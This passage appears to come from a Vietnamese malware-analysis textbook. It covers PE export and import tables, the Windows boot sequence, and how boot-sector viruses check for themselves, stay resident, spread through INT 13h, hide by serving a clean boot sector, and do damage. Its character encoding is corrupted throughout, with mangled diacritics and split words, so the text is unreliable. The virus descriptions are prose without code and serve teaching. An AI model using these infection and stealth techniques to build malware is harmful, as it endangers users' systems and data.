m֥t mӶng cֳa c§c con tr֛ h¨m m¨ chֵa Ľ֗a ch֕ cֳa c§c exported 

function. Hai mӶng (ENT v¨ EOT) chӴy song song theo thֵ tֽ sԂp xԒp 

tŁng dӺn dֽa tr°n t°n cֳa c§c h¨m ĽԜ m֥t ph®p t³m kiԒm nh֗ ph©n c· thԜ 

ĽҼ֯c thֽc hi֓n v¨ sԐ ĽҼa kԒt quӶ l¨ s֝ thֵ tֽ cֳa h¨m Ľ· ĽҼ֯c t³m thӸy 

trong m֥t mӶng kh§c. S֝ thֵ tֽ ch֕ l¨ m֥t ch֕ s֝ b°n trong EAT. 

  

Hình 2-25  CӸu tr¼c Export Table 

C§c h¨m ĽҼ֯c export b֫i 1 dll theo 2 c§ch: 

Exporting by Ordinal Only: NumberOfFuntion phӶi c· ²t nhӸt l¨ 

bԄng v֧i NumberOfName, tuy nhi°n m֥t v¨i trҼ֩ng h֯p th³ 

NumberOfName lӴi ²t hҺn NumberOfFuntion. Khi m֥t h¨m ĽҼ֯c Export 

th¹ng qua s֝ thֵ tֽ, n· kh¹ng c· danh s§ch trong cӶ 2 mӶng ENT v¨ 

EOT (n· kh¹ng c· t°n), nhֻng h¨m m¨ kh¹ng c· t°n th³ ĽҼ֯c exported 

th¹ng qua s֝ thֵ tֽ. 

Export Forwarding c§c h¨m ĽҼ֯c export kh¹ng phӶi l¨ b֫i 1 dll 

ban ĽӺu m¨ thֽc tԒ c§c h¨m n¨y lӴi nԄm trong m֥t Dll kh§c. Trong h֓ 

ĽiԚu h¨nh WinNT, WinXPéh¨m trong kernel.dll v¨ heapalloc ĽҼ֯c 
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fowarded tַ h¨m RtlAllocHeap ĽҼ֯c exported b֫i ntdll.dll. File Ntdll.dll 

cȈng chֵa c§c API tҼҺng t§c trֽc tiԒp v֧i kernel windows. Forwading 

ĽҼ֯c thֽc hi֓n tӴi th֩i ĽiԜm li°n kԒt th¹ng qua m֥t c©u l֓nh ĽԊc bi֓t 

trong .def file. 

 Forwarding l¨ kǫ thuԀt m¨ Microsoft sֹ dֱng ĽԜ ĽҼa ra m֥t tԀp h֯p 

API th¹ng dֱng ĽԜ che dӸu sֽ kh§c bi֓t nԚn tӶng v֧i c§c h֓ ĽiԚu h¨nh 

khác. 

2.2.2.6 Import Section 

1.RVA  

 M֥t Ľ֗a ch֕ RVA ĽҼ֯c sֹ dֱng ĽԜ m¹ tӶ m֥t offset tr°n b֥ nh֧, nԒu 

nhҼ kh¹ng ĽҼ֯c x§c Ľ֗nh ImageBase. RVA kh¹ng phӶi file offset. 

 ņԜ t²nh ĽҼ֯c file offset, ĽӺu ti°n ta x§c Ľ֗nh RVA Ľ· thu֥c section n¨o 

bԄng c¹ng thֵc: Virtual offset+ virtual size>= RVA>= Virtual offset. 

  File offset= RVA- V.offset+ R.offset 

2. Import section 

Import section (.idata) bao g֟m th¹ng tin vԚ tӸt cӶ c§c h¨m ĽҼ֯c 

imported b֫i file thֽc thi tַ c§c file Dll. PhӺn quan trong nhӸt cֳa 

section này là ImportDirectory và ImportAddressTable. 

Import Directory l¨ m¹t mӶng cֳa cӸu tr¼c 

IMAGE_IMPORT_DESCRIPTION. M֣i cӸu tr¼c g֟m 20 bytes v¨ chֵa 

th¹ng tin vԚ dll m¨ PE file cֳa ch¼ng ta import c§c h¨m v¨o. C½ng v֧i 

Export Directory, ta c· thԜ t³m thӸy Import Directory bԄng cách quan sát 

Data Directory(signature+80). 

Trong cӸu tr¼c Ľ· th¨nh phӺn OriginalFirstThunk ( DWORD) l¨ 

m֥t RVA tr֛ t֫i m֥t mӶng c§c cӸu tr¼c IMAGE_THUNK_DATA ( Ľ©y 

l¨ cȈng l¨ RVA tr֛ t֧i h¨m ĽҼ֯c import, mӶng n¨y kh¹ng thay Ľ֡i, Ľ©y 

l¨ m֥t trҼ֩ng quan tr֙ng). 

V¨ th¨nh phӺn quan tr֙ng tiԒp theo l¨ FirstThunk l¨ m֥t mӶng 

RVA tr֛ t֧i cӸu tr¼c cֳa IMAGE_THUNK_DATA( m֥t bӶng sao cֳa 

mӶng ĽӺu ti°n). MӶng n¨y b֗ thay Ľ֡i khi loader load PE file sԐ viԒt lӴi 

c§c Ľ֗a ch֕ thԀt cֳa c§c function ĽҼ֯c import. 

Trong file tr°n Ľǫa IMAGE_THUNK_DATA chֵa s֝ thֵ tֽ cֳa 

imported function hoԊc l¨ m֥t RVA t֧i m֥t cӸu tr¼c cֳa 
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IMAGE_IMPORT_BY_NAME. M֥t khi Ľ« ĽҼ֯c nӴp m֥t cӸu tr¼c sԐ 

tr֛ tӴi FristThunk ĽҼ֯c viԒt Ľ¯ l°n bԄng Ľ֗a ch֕ cֳa c§c h¨m import 

function, vi֓c n¨y tr֫ th¨nh Import Address Table. 

Trong m֣i cӸu tr¼c cֳa IMAGE_IMPORT_BY_NAME, g֟m c· 2 

th¨nh phӺn ch²nh: 

Hint chֵa ch֕ mֱc( index) b°n trong bӶng EAT cֳa file Dll các 

h¨m hi֓n c· trong Ľ·. 

Name1 bao g֟m t°n cֳa imported fuction. T°n l¨ 1 null-

terminated ASCII string. K²ch thҼ֧c cֳa Name1 ĽҼ֯c Ľ֗nh nghǫa l¨ 1 

byte, nhҼng tr°n thֽc tԒ trҼ֩ng n¨y l¨ m֥t trҼ֩ng c· k²ch thҼ֧c thay Ľ֡i. 

Nhֻng th¨nh phӺn quan tr֙ng nhӸt l¨ t°n imported Dll v¨ c§c 

mӶng cӸu tr¼c IMAGE_THUNK_DATA. M֣i cӸu tr¼c cֳa n· tҼҺng ֵng 

v֧i m֥t import function tַ Dll. C§c mӶng ĽҼ֯c tr֛ t֧i b֫i 

OriginalFristThunk v¨ FristThunk chӴy song song v¨ ĽҼ֯c kԒt th¼c bԄng 

m֥t Null DWORD. 

 

               

Hình 2-26:  CӸu tr¼c Import Table 
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 Ngo¨i c§c c¹ng cֱ xem ĽҼ֯c cӸu tr¼c cֳa PE header, nh·m cȈng c· sӶn 

phӼm nh֛ ĽԜ Ľ֙c hiԜu PE, load 1 file bӸt k³ v¨o v¨ quan s§t th¨nh phӺn  

bӶng import  table tr°n chҼҺng tr³nh nh·m viԒt d½ng ĽԜ Ľ֙c: 

 

 

        Hình 2-27: Quan s§t Import Table v֧i chҼҺng tr³nh PE file 

 

Sinh vi°n c· thΘ tham khͩo th°m c§c th¹ng tin vΖ PE file tr°n mίt sΧ 

trang nh̯ sau:  

http://msdn.microsoft.com/en-

us/library/windows/hardware/gg463119.aspx 

 

 

 

 

 

 

 

 

http://msdn.microsoft.com/en-us/library/windows/hardware/gg463119.aspx
http://msdn.microsoft.com/en-us/library/windows/hardware/gg463119.aspx
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2.3 CҺ chԒ hoӴt Ľn֥g cֳ a m« Ľc֥ 

NhҼ Ľ« n·i  tin hc֙ phát  triԜn ngày  càng mӴnh mԐ  th³ virus cȈng ph§t  triԜn 

ng¨y  c¨ng Ľa dӴng  có  thԜ nói không  có  loӴi virus nào  là hoàn  toàn gi֝ ng 

nhau. Tuy nhiên các virus luôn có m֥t s֝  ĽԊc ĽiԜm chung nhӸt Ľn֗h ĽԜ d aֽ 

v¨o Ľ· ngҼi֩ ta có thԜ phân bi֓ t nó. Có nhiԚu cách phân  loӴi khác nhau, phân  

loӴi  theo Ľi֝ tҼn֯g  lây nhi֑ m thì virus g֟ m hai loӴi: 

- B-virus: Virus ch֕ tӸn công lên Master Boot hay Boot Sector.  

- F-virus: Virus ch֕ tӸn công lên các file khӶ thi.  

MԊc dù vԀy, c§ch ph©n chia n¨y cȈng kh¹ng hԆn là chính xác. NgoӴi l  ֓vӾn có 

các virus vַ a tӸn công lên Master Boot (Boot Sector) vַa tӸn công lên file 

khӶ thi.  

B-virus 

Phân loӴi B-virus. 

ņӺu ti°n h«y xem qu§ tr³nh kh֫i Ľ֥ng cֳa Qu§ tr³nh kh֫i Ľ֥ng m§y t²nh xӶy 

ra nhҼ sau Ľ֝i v֧i h֓ ĽiԚu h¨nh Windows. 

BҼ֧c 1: Power: BԀt m§y t²nh l°n 

BҼ֧c 2: BIOS: BIOS kiԜm tra c§c thiԒt b֗ kԒt n֝i, thֽc hi֓n qu§ trình POST  

BҼ֧c 3: MBR : MBR hay Master Boot Record sԐ kiԜm tra c§c bootloader 

hoԊc c§c partition trӴng th§i active. NԒu bootloader c· th³ sԐ v¨o phӺn Ľ· v¨ 

tiԒp tֱc, c¸n nԒu kh¹ng th³ chuyԜn ĽԒn ph©n v½ng ĽҼ֯c ch֕ r»  active. 

BҼ֧c 4:Active Partition BR: Bootloader cֳa ph©n v½ng active sԐ ĽҼ֯c k²ch 

hoӴt v¨ nhԀn quyԚn ĽiԚu khiԜn 

BҼ֧c 5  MS WINDOWS: ņ֝i v֧i h֓ ĽiԚu h¨nh Windows sԐ c· NTLDR (NT 

Boot Loader) trong h֓ th֝ng ph©n v½ng ĽҼ֯c load v¨ trao quyԚn ĽiԚu khiԜn 

[SYSPART:\ntldr] 

BҼ֧c 6: NTLDR Ľ֙c file óboot.iniô trong ֡ C , nԒu c· nhiԚu hҺn 1 h֓ ĽiԚu 

h¨nh th³ sԐ c· nhiԚu hiԜn th֗ trong file n¨y, sau Ľ· kh֫i Ľ֥ng v¨o 1 h֓ ĽiԚu 

h¨nh ngҼ֩i d½ng ch֙n.[SYSPART:\boot.ini] 

BҼ֧c 7 : File NTDETECT tַ h֓ th֝ng ph©n v½ng patition sԐ ĽҼ֯c load , file 

n¨y sԐ t³m kiԒm c§c chҼҺng tr³nh. 

BҼ֧c 8: tiԒp theo sԐ load file kernel cֳa Windows l¨ NTOSKRNL, HAL 

(Hardware Abstraction Layer) tַ ph©n v½ng boot 
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[%/systemroot%\system32\ntoskrnl.exe] 

[%systemroot%\system32\config\system]  

BҼ֧c 9: Sau Ľ· tiԒp theo  SYSTEM Hive ĽҼ֯c tӶi l°n v¨ to¨n b֥ c§c tr³nh 

ĽiԚu khiԜn kh֫i Ľ֥ng cȈng ĽҼ֯c tӶi l°n.  

[%systemroot%\system32\config\system] 

BҼ֧c 10: Sau khi boot loader (NTLOADER) chuyԜn ĽiԚu  khiԜn ĽԒn Kernel 

(NTOSKRNL) 

BҼ֧c 11: Kernel sԐ tӶi logo hiԜn th֗ Windows l°n v¨ kh֫i Ľ֥ng c§c h֓ th֝ng 

nh֛ hҺn. 

BҼ֧c 12: H֓ th֝ng sԐ load SMSS (Session Manager Subsystem Service) v֧i 

Ľ֥ Ҽu ti°n l¨ 11 v¨ chuyԜn ĽiԚu khiԜn t֧i n·.  

[%systemroot%\system32\smss.exe] 

BҼ֧c 13: SMSS kh֫i tӴo pagefile v¨ c§c th¹ng tin vԚ registry hives. 

BҼ֧c 14: Kh֫i Ľ֥ng windows kernel 32bit là Win32k.sys 

[%systemroot%\system32\Win32k.sys] 

BҼ֧c 15: Kh֫i tӴo CSRSS (Client Server Runtime Sub system) v֧i Ľ֥ Ҽu ti°n 

là 13 

[%systemroot%\system32\csrss.exe] 

BҼ֧c 16: Sau khi kh֫i Ľ֥ng WINLOGON v֧i Ľ֥ Ҽu ti°n l¨ 13 v¨ chuyԜn ĽiԚu 

khiԜn cho winlogon.exe. [%systemroot%\system32\winlogon.exe] 

BҼ֧c 17: WINLOGON sau Ľ· sԐ kh֫i Ľ֥ng LSASS (Local Security 

Authorization Subsystem Service ) v֧i Ľ֥ Ҽu ti°n l¨ 9 

[%systemroot%\system32\lsass.exe] 

 

BҼ֧c 18: WINLOGON sau Ľ· sԐ tӶi MSGINA (Graphical user Identification 

aNd Authentication) , c§i n¨y sԐ hiԜn th֗ t֧i ngҼ֩i d½ng. 

[%systemroot%\system32\msgina.dll] 

BҼ֧c 19: TiԒp theo h֓ th֝ng sԐ tӶi tiԒp SERVICES (Services Controller) v֧i 

Ľ֥ng Ҽu ti°n l¨ . 

[%systemroot%\system32\services.exe] 

BҼ֧c 20: Khi ngҼ֩i d½ng ĽŁng nhԀp v¨o ,SERVICES gi¨nh lӸy quyԚn ĽiԚu 

khiԜn v¨ tӶi to¨n b֥ c§c d֗ch vֱ cӺn thiԒt cho ngҼ֩i d½ng. 
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SYSPART: C hoԊc C driver (ph©n v½ng h֓ th֝ng) 

BOOTPART =  ph©n v½ng kh֫i Ľ֥ng 

%systemroot% = BOOTPART:\WINDOWS 

Default Priority (Windows ) = (Normal) 8 [1-15] 

To¨n b֥ c§c tiԒn tr³nh ĽҼ֯c kh֫i Ľ֥ng trong qu§ tr³nh Windows kh֫i Ľ֥ng sԐ 

do user SYSTEM l¨m chֳ s֫ hֻu tiԒn tr³nh. 

 

2.3.1 Quá trình kh֫ i Ľn֥g máy tính 

NhҼ ch¼ng ta Ľ« biԒt, sau qu§ tr³nh POST, sector ĽӺu ti°n tr°n Ľǫa A hoԊc Ľǫa 

C ĽҼc֯ Ľ֙c vào vùng nh֧ tӴi 0: 7C00, và quyԚn ĽiԚu khiԜn ĽҼc֯ trao cho 

ĽoӴn mã trong sector kh֫i Ľn֥g này. B-virus hoӴt Ľn֥g bԄng cách thay thԒ 

ĽoӴn mã chuӼn trong sector kh֫i Ľn֥g này bԄng ĽoӴn mã cֳa n· ĽԜ chiԒm 

quyԚn ĽiԚu khiԜn, sau khi Ľ« c¨i ĽԊt xong m֧ i Ľc֙ sector kh֫i Ľn֥g chuӼn 

ĽҼ֯c virus cӸt gi  ֻ  ֫Ľ©u Ľ· v¨o 0:7C00 v¨ trӶ lӴi quyԚn ĽiԚu khiԜn cho ĽoӴn 

mã chuӼn này. Vi֓ c cӸt gi  ֻsector kh֫i Ľn֥g tӴi v  ֗tr² n¨o tr°n Ľǫa tuȢ thu֥ c 

loӴi Ľǫa v¨ c§ch giӶi quyԒt cֳ a tַ ng loӴi virus. Ð֝ i v i֧ Ľǫa cnֵg, th¹ng thҼn֩g 

n· ĽҼc֯ cӸt gi  ֻ  ֫Ľ©u Ľ· trong Side 0, Cylinder 0 v³ trong cӶ track này, DOS 

ch֕  sֹ  d nֱg sector ĽӺu tiên cho bӶng Partition. Tr°n Ľǫa mԚm, v֗  trí cӸt gi  ֻsԐ 

phֵ c tӴp hҺn v³ mi֙ ch֣  ĽԚu có khӶ nŁng b ֗ghi Ľ¯ th¹ng tin. Mt֥ s֝  hҼ֧ng 

sau Ľ©y Ľ« ĽҼc֯ các virus áp dֱng: 

- Sֹ  d nֱg sector ֫ cu֝ i Root Directory, v³ n· thҼn֩g ²t ĽҼc֯ sֹ  d nֱg.  

- Sֹ  d nֱg các sector cu֝i c½ng tr°n Ľǫa, v³ khi ph©n b ֡vùng tr֝ ng cho 

file, DOS tìm vùng tr֝ng tַ  nh֛  ĽԒn l n֧ cho n°n v½ng n¨y thҼn֩g ít 

ĽҼ֯c sֹ  d nֱg.  

- Ghi vào vùng tr֝ng tr°n Ľǫa, Ľ§nh dӸu trong bӶng FAT vùng này là 

vùng b֗ h n֛g ĽԜ DOS không sֹ d nֱg cӸp phát nֻ a. Ccáh làm này an 

to¨n hҺn c§c c§ch l¨m tr°n Ľ©y.  

- Format thêm track và ghi vào track vַa ĽҼc֯ Format thêm. 

Tùy thu֥ c v¨o Ľ ֥l n֧ cֳ a ĽoӴn mã virus mà B-virus ĽҼc֯ chia thành hai loӴi: 

2.3.1.1 SB-virus  

ChҼҺng tr³nh caֳ SB-virus ch֕ chiԒm Ľ¼ng mt֥ sector kh֫i Ľn֥g, các tác vֱ 

c aֳ SB-virus không nhiԚu v¨ tҼҺng Ľi֝ ĽҺn giӶn. Hi֓ n nay s֝  các virus loӴi 

n¨y thҼn֩g ít gԊp và có lԐ ch֕  là các virus do trong nҼc֧ "sӶn xuӸt".  
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2.3.1.2  DB-virus 

Ðây là nhֻ ng loӴi virus m¨ ĽoӴn mã cֳ a nó l֧ n hҺn 512 byte (thҼn֩g thӸy). 

Vì thԒ m¨ chҼҺng tr³nh virus ĽҼc֯ chia thành hai phӺn:  

- PhӺn ĽӺu virus: ĥҼc֯ c¨i ĽԊt trong sector kh֫i Ľn֥g ĽԜ chiԒm quyԚn 

ĽiԚu hiԜn khi quyԚn ĽiԚu khiԜn ĽҼc֯ trao cho sector kh֫i Ľn֥g này. 

Nhi m֓ vֱ  duy nhӸt cֳ a phӺn ĽӺu là: tӶi tiԒp phӺn thân cֳa virus vào 

vùng nh֧  và trao quyԚn ĽiԚu khiԜn cho phӺn th©n Ľ·. V³ nhi֓ m vֱ  ĽҺn 

giӶn nhҼ vԀy nên phӺn ĽӺu cֳ a virus thҼn֩g rӸt ngԂn, và càng ngԂn 

càng t֝ t vì càng ngԂn thì sֽ  khác bi֓ t gi aֻ sector kh֫i Ľn֥g chuӼn và 

sector kh֫i Ľn֥g Ľ« b ֗nhi֑ m virus càng ít, giӶm khӶ nŁng b ֗nghi ng֩ .  

- PhӺn thân virus: Là phӺn chҼҺng trình chính cֳa virus. Sau khi ĽҼc֯ 

phӺn ĽӺu tӶi vào vùng nh֧ và trao quyԚn, phӺn thân này sԐ tiԒn hành 

các tác vֱ c aֳ mình, sau khi tiԒn hành xong m֧i Ľc֙ sector kh֫i Ľn֥g 

chuӼn vào vùng nh֧ và trao quyԚn cho n· ĽԜ máy tính làm vi֓c m֥ t 

c§ch b³nh thҼn֩g nhҼ chҼa c· g³ xӶy ra cӶ.  

2.3.2 M t֥ s֝  k׃ thuԀt cҺ bӶn cֳ a B-virus 

Dù là SB-virus hay DB-virus, nhҼng ĽԜ t n֟ tӴi v¨ l©y lan, ch¼ng ĽԚu có m֥ t 

s֝  các k׃ thuԀt cҺ bӶn nhҼ sau:  

2.3.2.1 Kύ thuͻt kiΘm tra tính duy nhͫ t 

Virus phӶi t n֟ tӴi trong b֥  nh֧  cȈng nhҼ tr°n Ľǫa, song s ֽt n֟ tӴi quá nhiԚu 

bӶn sao cֳa ch²nh n· tr°n Ľǫa v¨ trong b ֥nh֧  sԐ ch֕  làm chԀm quá trình Boot 

m§y, cȈng nhҼ chiԒm quá nhiԚu vùng nh֧  Ӷnh hҼn֫g t֧ i vi c֓ tӶi và thi hành 

c§c chҼҺng tr³nh kh§c Ľn֟g th֩ i cȈng l¨m giӶm t֝ c Ľ֥ truy xuӸt Ľǫa. Ch²nh vì 

thԒ, k׃ thuԀt này là m֥ t yêu cӺu nghiêm ngԊt v i֧ B-virus.Vi c֓ kiԜm tra trên 

Ľǫa c· hai yԒu t֝  Ӷnh hҼn֫g:  

- Th  ֵnhӸt là th֩ i gian kiԜm tra: NԒu m֙ i tác vֱ  Ľ֙c/ghi Ľǫa ĽԚu phӶi 

kiԜm tra Ľǫa th³ thi֩ gian truy xuӸt sԐ b  ֗tŁng gӸp Ľ¹i, l¨m giӶm t֝ c Ľ֥ 

truy xuӸt cȈng nhҼ gia tŁng mi֣ nghi ng֩ . Ð i֝ v i֧ yêu cӺu này, các 

virus áp dֱng m֥ t s֝  k׃ thuԀt sau: GiӶm s֝  lӺn kiԜm tra bԄng cách ch֕ 

kiԜm tra trong trҼn֩g h֯ p thay Ľi֡ truy xuӸt t  ַ  ֡Ľǫa n¨y sang  ֡Ľǫa 

khác, ch֕ kiԜm tra trong trҼn֩g h֯ p bӶng FAT tr°n Ľǫa ĽҼ֯c Ľ֙c vào. 

- Th  ֵhai là k׃ thuԀt kiԜm tra: HӺu hԒt c§c virus ĽԚu kiԜm tra bԄng giá tr֗  

t  ַkhoá. M֣ i virus sԐ tӴo cho mình m֥t giá tr֗  ĽԊc bi֓ t tӴi m t֥ v  ֗trí xác 

Ľ֗nh tr°n Ľǫa, vic֓ kiԜm tra ĽҼc֯ tiԒn hành bԄng c§ch Ľc֙ Boot record 

và kiԜm tra giá tr֗ c aֳ tַ  khoá này. K׃ thuԀt này gԊp tr֫  ngӴi vì s֝  

lҼ֯ng B-virus ngày m֥t Ľ¹ng ĽӶo, mà v֗ trí trên Boot Record thì có 
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hӴn. Cách khԂc phֱ c hi֓ n nay cֳa c§c virus l¨ tŁng s ֝lҼ֯ng mã l֓ nh 

cӺn so s§nh ĽԜ làm giӶm khӶ nŁng tr½ng hp֯ ngӾu nhiên. ÐԜ kiԜm tra 

sֽ  t n֟ tӴi c aֳ mình trong b֥ nh֧ , c§c virus Ľ« §p dnֱg các k׃ thuԀt sau: 

ĥҺn giӶn nhӸt là kiԜm tra giá tr֗ Key value tӴi m t֥ v  ֗tr² x§c Ľn֗h trên 

vùng nh֧  cao, ngoài ra m֥t k׃ thuԀt kh§c ĽҼc֯ áp dֱng Ľi֝ v i֧ các 

virus chiԒm ngԂt Int 21 cֳ a DOS là yêu cӺu thֽ c hi֓ n m֥ t chֵ c nŁng 

ĽԊc bi֓ t không có trong ngԂt này. NԒu c֩  báo l֣ i ĽҼc֯ bԀt lên thì trong 

b  ֥nh֧  chҼa c· virus, ngҼc֯ lӴi nԒu virus Ľ« lҼu tr¼ trong v½ng nh ֧thì 

giá tr֗  trӶ lӴi (trong thanh ghi AX chԆng hӴn) là m֥ t giá tr֗  x§c Ľn֗h nào 

Ľ·.  

2.3.2.2 Kύ thuͻt l̯u tr¼ 

Sau khi thֽ c hi֓ n xong chҼҺng tr³nh POST, gi§ tr ֗t n֡g s֝  vùng nh֧  v aַ 

ĽҼ֯c Test sԐ ĽҼ֯c lҼu v¨o v½ng BIOS Data  ֫Ľ֗a ch֕ 0:413h. Khi h֓  ĽiԚu 

hành nhԀn quyԚn ĽiԚu khiԜn, nó sԐ coi vùng nh֧  mà nó kiԜm soát là giá tr֗ 

trong Ľa֗ ch֕ này. Vì vԀy ĽԜ lҼu trú, m֙ i B-virus ĽԚu áp dֱ ng k׃ thuԀt sau 

Ľ©y: Sau khi tӶi phӺn lҼu tr¼ caֳ mình lên vùng nh֧ cao, nó sԐ giӶm giá tr֗ 

vùng nh֧  do DOS quӶn lý tӴi 0:413h Ľi mt֥ lҼn֯g Ľ¼ng bԄng k²ch thҼc֧ cֳ a 

virus. Tuy nhiên nԒu không kiԜm tra t֝ t sֽ  có mԊt trong vùng nh֧, khi b֗  Boot 

mԚm liên tֱ c, giá tr֗ t n֡g s֝  vùng nh֧  này sԐ b  ֗giӶm nhiԚu lӺn, Ӷnh hҼn֫g t֧ i 

vi c֓ thֽ c hi֓ n cֳ a c§c chҼҺng tr³nh sau n¨y. Ch²nh v³ thԒ, c§c virus ĽҼc֯ thiԒt 

kԒ t t֝ phӶi kiԜm tra sֽ  t n֟ tӴi c aֳ mình trong b֥ nh֧ , nԒu Ľ« c· mԊt trong b֥  

nh֧  thì không giӶm dung lҼn֯g vùng nh֧ n aֻ. 

2.3.2.2 Kύ thuͻt lây lan 

ÐoӴn mã thֽ c hi֓ n nhi֓ m vֱ  l©y lan l¨ ĽoӴn mã quan tr֙ng trong chҼҺng 

trình virus. ÐԜ ĽӶm bӶo vi c֓ lây lan, virus kh֝ng chԒ ngԂt quan tr֙ ng nhӸt 

trong vi֓ c Ľ֙c/ghi vùng h֓ th n֝g: Ľ· l¨ ngԂt 13h, tuy nhi°n ĽԜ ĽӶm bӶo t֝ c Ľ֥ 

truy xuӸt Ľǫa, ch ֕các chֵc nŁng 2 v¨ 3 (Ľc֙/ghi) là dӾn t֧ i vi c֓ lây lan. Vi֓ c 

lây lan bԄng c§ch Ľc֙ Boot Sector (Master Boot) lên và kiԜm tra xem Ľ« b ֗

l©y chҼa (k׃ thuԀt kiԜm tra Ľ« n·i  ֫trên). NԒu sector kh֫i Ľn֥g Ľ· chҼa b ֗

nhi֑ m thì virus sԐ tӴo m֥ t sector kh֫i Ľn֥g m֧ i v i֧ các tham s֝ tҼҺng nֵg 

c aֳ ĽoӴn mã virus r֟ i ghi tr  ֫ lӴi vào v֗  trí cֳ a n· tr°n Ľǫa. C¸n sector khi֫ 

Ľ֥ng vַ a Ľ֙c lên cùng v֧i thân cֳ a virus (loӴi DB-virus) sԐ ĽҼ֯c ghi vào 

v½ng x§c Ľn֗h tr°n Ľǫa. Ngoài ra m֥t s֝  virus còn chiԒm ngԂt 21 cֳ a DOS ĽԜ 

lây nhi֑ m và phá hoӴi trên các file mà ngԂt 21 làm vi֓ c. Vi c֓ xây dֽ ng sector 

kh i֫ Ľn֥g c· ĽoӴn mã cֳ a virus phӶi ĽӶm bӶo các k׃ thuԀt sau Ľ©y:  

- Sector kh֫i Ľn֥g b֗ nhi֑ m phӶi còn chֵ a các tham s֝ Ľǫa phcֱ v  ֱcho 

quá trình truy xuӸt Ľǫa,Ľ· l¨ bӶng tham s֝ BPB cֳ a Boot record hay 

bӶng ph©n chҼҺng trong trҼn֩g h֯ p Master boot. Vi֓c không bӶo toàn 



73 

 

sԐ dӾn ĽԒn vi c֓ virus mӸt quyԚn ĽiԚu khiԜn hoԊc không thԜ kiԜm soát 

ĽҼ֯c Ľǫa nԒu virus không có mԊt trong m¹i trҼn֩g.  

- Sֽ  an toàn cֳa sector kh֫i Ľn֥g nguyên thԜ v¨ ĽoӴn thân cֳa virus 

cȈng phӶi ĽҼc֯ ĽԊt l°n h¨ng ĽӺu. Các k׃ thuԀt vԚ v  ֗trí cӸt giӸu chúng 

ta cȈng Ľ« ph©n t²ch  ֫các phӺn trên.  

2.3.2.3 Kύ thuͻt che dͫ u 

K׃ thuԀt n¨y ra Ľi֩ khá mu֥ n vԚ sau này, do khuynh hҼ֧ng ch֝ ng lӴi sֽ  phát 

hi n֓ cֳ a ngҼi֩ sֹ  d nֱg và nhֻ ng lԀp tr³nh vi°n Ľi֝ v i֧ virus. V³ k²ch thҼc֧ 

c aֳ virus khá nh֛ bé cho nên các lԀptrình viên hoàn toàn có thԜ dò tַ ng bҼc֧ 

xem cҺ chԒ c aֳ virus hoӴt Ľn֥g nhҼ thԒ nào, cho nên các virus tìm m֙i cách 

lԂt l®o ĽԜ ch֝ ng lӴi sֽ  theo dõi cֳa các lԀp tr³nh vi°n. C§c virus thҼn֩g áp 

d nֱg m֥ t s֝  k׃ thuԀt sau Ľ©y:   

- C  ֝tình viԒt các l֓ nh m֥ t cách rԂc r֝ i nhҼ ĽԊt Stack vào các vùng nh֧ 

nguy hiԜm, chiԒm và xoá các ngԂt, thay Ľi֡ m t֥ cách lԂt léo các thanh 

ghi ph©n ĽoӴn ĽԜ ngҼ֩i dò không biԒt d  ֻli u֓ lӸy t  ַĽ©u, thay Ľi֡ các 

giá tr֗  c aֳ các l֓nh ph²a sau ĽԜ ngҼ֩i sֹ  d nֱg khó theo dõi.  

- M« ho§ ngay ch²nh chҼҺng tr³nh caֳ m³nh ĽԜ ngҼ֩i sֹ  d nֱg không 

phát hi֓ n ra quy luԀt, cȈng nhҼ kh¹ng thӸy m t֥ cách rõ ràng ngay sֽ 

hoӴt Ľ֥ng cֳ a virus.  

- Ng yֱ trang: Cách thֵ nhӸt l¨ ĽoӴn mã cài vào sector kh֫i Ľn֥g càng 

ngԂn càng t֝ t và càng gi֝ng sector kh֫i Ľn֥g càng t֝t. Tuy vԀy cách 

th  ֵhai vӾn ĽҼc֯ nhiԚu virus áp dֱng: Khi m§y Ľang n¹m trong quyԚn 

chi ph֝ i c aֳ virus, m֙ i yêu cӺu Ľ֙c/ghi Boot sector (Master boot) ĽԚu 

ĽҼ֯c virus trӶ vԚ m t֥ bӶn chuӼn: bӶn trҼc֧ khi b֗  virus lây. ÐiԚu này 

Ľ§nh laַ ngҼi֩ sֹ  d nֱg v¨ c§c chҼҺng tr³nh chn֝g virus kh¹ng ĽҼc֯ 

thiԒt kԒ t t֝ nԒu máy hi֓n Ľang chu֗ sֽ  chi ph֝ i c aֳ virus. 

2.3.2.4 Kύ thuͻt phá hoͧ i 

Ðã là virus thì bao gi֩ cȈng c· t²nh ph§ hoӴi. Có thԜ phá hoӴi  ֫m cֵ Ľ½a cho 

vui, cȈng c· thԜ là phá hoӴi  ֫m cֵ Ľ֥ nghiêm tr֙ ng, gây mӸt m§t v¨ Ľ³nh tr ֓

Ľ֝i v i֧ th¹ng tin tr°n Ľǫa.  

CŁn c ֵvào th֩ i ĽiԜm phá hoӴi, có thԜ chia ra thành hai loӴi:  

- LoӴi Ľn֗h th֩ i: LoӴi n¨y lҼu gi ֻm t֥ giá tr֗ , giá tr֗  này có thԜ là ngày 

gi ,֩ s֝  lӺn lây nhi֑ m, s֝  gi  ֩m§y Ľ« chӴy, ... NԒu giá tr֗ n¨y vҼt֯ quá 

m t֥ con s֝  cho phép, nó sԐ tiԒn hành phá hoӴi. LoӴi n¨y thҼn֩g nguy 

hiԜm vì chúng ch֕ phá hoӴi m t֥ lӺn.  
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- LoӴi liên tֱ c: Sau khi b  ֗lây nhi֑ m và liên tֱ c, virus tiԒn hành phá hoӴi, 

song do tính liên tֱc này, các hoӴt Ľn֥g phá hoӴi c aֳ nó không mang 

tính nghiêm tr֙ng, chֳ  yԒu l¨ Ľ½a cho vui.  

 

Hình 2-28 Ph§ hoӴi l m̈ file phân mӶnh 

2.3.2.5 Kύ thuͻt d n̈h quyΖn ĽiΖu khuyΘn cνa B-virus 

Khi máy tính bԂt ĽӺu kh֫ i Ľn֥g (Power on), c§c thanh ghi ph©n ĽoӴn ĽԚu 

ĽҼ֯c ĽԊt vԚ 0FFFFh,còn m֙i thanh ghi kh§c ĽԚu ĽҼc֯ ĽԊt vԚ 0. NhҼ vԀy, 

quyԚn ĽiԚu khiԜn ban ĽӺu ĽҼc֯ trao cho ĽoӴn mã tӴi 0FFFFh: 0h, ĽoӴn mã 

này thֽ c ra ch֕ là l n֓h nhӶy JMP FAR ĽԒn m֥ t ĽoӴn chҼҺng tr³nh trong 

ROM, ĽoӴn chҼҺng tr³nh n¨y thcֽ hi֓ n quá trình POST (Power On Self Test - 

T  ֽkiԜm tra khi kh֫ i Ľn֥g). 

Quá trình POST sԐ lӺn lҼt֯ kiԜm tra các thanh ghi, kiԜm tra b֥  nh֧ , kh֫ i tӴo 

